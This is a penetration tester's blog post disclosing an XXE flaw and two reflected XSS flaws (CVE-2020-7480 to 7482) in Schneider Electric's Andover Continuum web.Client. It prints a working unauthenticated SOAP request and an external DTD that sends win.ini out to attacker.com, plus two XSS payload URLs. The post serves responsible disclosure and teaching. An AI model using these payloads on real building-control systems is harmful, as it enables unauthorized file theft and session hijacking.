Bug Hunting Stories: Schneider Electric & The Andover Continuum Web.Client

May 27, 2020 Niv Levy

 

As a penetration tester, my mission is to find vulnerabilities. To sharpen my skills and to stay up-to-date with new technologies, I spend my free time hacking on numerous bug bounty programs on the Bugcrowd platform.

A few months back, I was invited by the Bugcrowd platform to participate in a private bug bounty program where I discovered three unknown vulnerabilities in the Schneider Electric Andover Continuum product line.

Malicious actors could exploit the three vulnerabilities without being authenticated by the application.

The Andover Continuum Product

First and foremost, let’s give some background on the Schneider Electric product in question. The Andover Continuum is a mixture of hardware and software designed to monitor and control the various functions of a building – including areas like security, access control, lighting, heating, ventilation and cooling. The hardware consists of equipment controllers, network communication controllers and input and output interfaces.

The web.Client gives the operator the freedom to access the Andover Continuum system from anywhere on the network or over the internet.

During the responsible disclosure process, the Schneider Electric team confirmed each of the reported vulnerabilities. They did note that the version used by the private program is several years old. However, the vulnerabilities still exist in the latest version, which is 2.03.

Figure 1: Software support policy for the Andover Continuum product line and the web.Client web interface.

Vulnerabilities Exposed

While navigating through the in-scope assets defined by the program, I found multiple web servers that exposed a login page related to the Schneider Electric Andover Continuum web.Client on version 1.94(SP1). And this is the crux of each of the vulnerabilities below. Let’s dive in.

Figure 2: The Andover Continuum web.Client web interface that was exposed.

1. Pre-Auth XML External Entity Injection (CVE-2020-7480)

My research first found that the Andover Continuum web.Client web interface is vulnerable to a pre-auth XML External Entity Injection vulnerability.

The vulnerability allows an unauthenticated attacker to view files on the application server filesystem and interact with any backend or external systems that the application itself can access.

On the reconnaissance phase, I found that the Andover Continuum web.Client web interface discloses a Web Service with a method named Pr ocessRequest that can be invoked without authentication.

The Web Service was accessible by navigating to the following URL:

https://vulnerable.com/webclient/AcDev.asmx

Figure 3: The web service that disclosed a method that could be invoked without authentication.

In my case, the XXE vulnerability was “blind,” which means that you do not get the output of the vulnerability in direct response to the vulnerable request. To exploit this vulnerability, I have used an out-of-band (OOB) technique, which provides an attacker with an alternative way to confirm and exploit a vulnerability.

Out-of-band techniques often require a vulnerable entity to generate an outbound TCP/UDP/ICMP request, which will then allow an attacker to exfiltrate data. Moreover, the success of an OOB attack is based on the egress firewall rules, i.e. which outbound request is permitted from the vulnerable system and the perimeter firewall.

The following POST request presents how an unauthenticated attacker could exploit the XML External Entity Injection vulnerability. The xmlIn child element gets XML data from the user and then the XML data is passed to the SOAP framework.

POST /webclient/AcDev.asmx HTTP/1.1 Connection: close

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36

Sec-Fetch-User: ?1 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate

Referer: https://vulnerable.com/webclient/AcDev.asmx Accept-Encoding: gzip, deflate

Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7 SOAPAction: http://andovercontrols.com/pyramid/acdevservices/ProcessRequest Content-Type: text/xml;charset=UTF-8

Host: vulnerable.com Content-Length: 473

 

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:acd="http://andovercontrols.com/pyramid/acdevservices/">

<soapenv:Header/>

<soapenv:Body>

<acd:ProcessRequest>

<acd:xmlIn>&lt;!DOCTYPE r [

&lt;!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"&gt;

%dtd;

%param1;]&gt; &lt;r&gt;&amp;exfil;&lt;/r&gt;</acd:xmlIn>

</acd:ProcessRequest>

</soapenv:Body>

</soapenv:Envelope>

The following is an example of how an attacker could leverage parameter entities to steal sensitive data using an out-of-band (OOB) technique. The content of the external DTD file evil.dtd that hosted on the attacker’s server is below:

<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?file=%file;'>">

The attack is conducted as follows:

  1. The XML parser makes a GET request to the attacker’s DTD file, which is hosted on the attacker’s server, i.e. http://attacker.com/evil.dtd.
  2. The XML parser processes the %file parameter entity, which loads the file c:/windows/win.ini.
  3. After the XML parser processes the attacker’s DTD file, the %param1 parameter entity creates a general entity called &exfil, which contains a URL. This URL includes the file’s contents.
  4. Finally, after the URL is constructed, the XML parser processes the &exfil entity, which makes a request to the attacker’s server.
  5. The attacker can log the request on their end and reconstruct the file from the log entry.
Figure 4: XML External Entity Injection explained (The image was taken from https://portswigger.net/web-security/xxe)

2. Pre-Auth Reflected Cross-Site Scripting (CVE-2020-7481, CVE-2020-7482)

 The Andover Continuum web.Client web interface is also vulnerable to pre-auth Reflected Cross-Site Scripting vulnerability. The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected device.

On the reconnaissance phase, I found that the Andover Continuum web.Client web interface serves two webpages for unauthenticated users:

/AccCommon/ping.aspx

/AccCommon/ReportEditor.aspx

If the victim (an authenticated user) visits a malformed URL, then the attacker’s script executes in the victim’s browser in the context of that victim’s session with the application. At that point, the script can carry out any action – and retrieve any data – to which the user has access.

The following GET requests present the vulnerable parameters on each webpage that served for unauthenticated users:

https://vulnerable.com/AccCommon/ping.aspx?User=1&WebClientName=2&vd=3'; alert(document.domain)//

https://vulnerable.com/AccCommon/ReportEditor.aspx?cmd=view&ext=true&idH i=0&idLo=0&VD=</style><svg/onload=alert(document.domain)>&Protocol=1

Figure 5: Cross-Site Scripting explained (The image was taken from https://portswigger.net/web-security/cross-site-scripting).

In recent years, SCADA technology has passed through a transformation, from isolated and proprietary systems into open architectures, thus significantly increasing outside attacks.

Organizations are struggling to keep SCADA environments up-to-date. It’s a challenge due to the complexity of the process in which SCADA systems are incorporated and because the systems often need to be operable at any given moment. Furthermore, patches need to be tested before they can be applied to the production environment, which can take days or even weeks during which a system is vulnerable.

The lack of modern mitigations and the proliferation of insecure coding practices make SCADA a juicy target for both researchers and attackers.

As a result of this research, Schneider Electric issued 3 CVE identifiers for these vulnerabilities:

CVE-2020-7480 - Base Score 8.8 | High |

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVE-2020-7481 - Base Score 6.1 | Medium |

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVE-2020-7482 - Base Score 6.1 | Medium | 

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

According to their security notification, “Given the clear path to EcoStruxure Building Operation and available alternatives to these specific issues, no software fix will be provided for these issues.”

In other words, exposing the Andover Continuum web.Client web interface to the internet would put the product in jeopardy.

To reduce the risk until modernization of EcoStruxure Building, Schneider Electric is strongly recommending that customers use the methods below:

  • Locate control and safety system networks and remote devices behind firewalls and isolate them from the business network.
  • Install physical controls so no unauthorized personnel can access your industrial control and safety systems, components, peripheral equipment and networks.
  • Place all controllers in locked cabinets and never leave them in the “Program” mode.
  • Never connect programming software to any network other than the network for the devices that it is intended for.
  • Scan all methods of mobile data exchange with the isolated network such as CDs, USB drives, etc. before use in the terminals or any node connected to these networks.
  • Never allow laptops that have connected to any other network besides the intended network to connect to the safety or control networks without proper sanitation.
  • Minimize network exposure for all control system devices and systems and ensure that they are not accessible from the internet.
  • When remote access is required, use secure methods such as Virtual Private Networks (VPNs). Recognize that VPNs may have vulnerabilities and should be updated to the most current version available. Also, understand that VPNs are only as secure as the connected devices.

The security team at Schneider Electric was wonderful to work with. They were extremely responsive and truly appreciated the findings of this research.

Disclosure Timeline

  • 11 Jan 2020: The XML External Entity Injection vulnerability reported to the Schneider Electric security team.
  • 12 Jan 2020: The Schneider Electric security team confirmed receiving the XML External Entity Injection report.
  • 13 Jan 2020: The 1st XSS vulnerability reported to the Schneider Electric security team.
  • 14 Jan 2020: The Schneider Electric security team confirmed receiving the 1st XSS report.
  • 15 Jan 2020: The 2nd XSS vulnerability reported to the Schneider Electric security team.
  • 17 Jan 2020: The Schneider Electric security team confirmed receiving the 2nd XSS report.
  • 10 Mar 2020: The Schneider Electric security team released a security notification for the Andover continuum line of controllers and issued three CVE identifiers – CVE-2020-7480, CVE-2020-7481, and CVE-2020-7482.

References

Security Notification – Andover Continuum Line of Controllers

https://www.se.com/ww/en/download/document/SEVD-2020-070-04/

Portswigger’s Web Security Academy – XXE injection

https://portswigger.net/web-security/xxe

Portswigger’s Web Security Academy – Cross-site scripting https://portswigger.net/web-security/cross-site-scripting Out of Band Exploitation (OOB) CheatSheet

https://www.notsosecure.com/oob-exploitation-cheatsheet/

 

Previous Article
Group Policies Going Rogue
Group Policies Going Rogue

This blog –part of a year-long research project that uncovered 60 different vulnerabilities across major ve...

Next Article
When a CLI Falls for an Attacker
When a CLI Falls for an Attacker

A few months ago, I was working on research that involved spanning up and down multiple virtual machines in...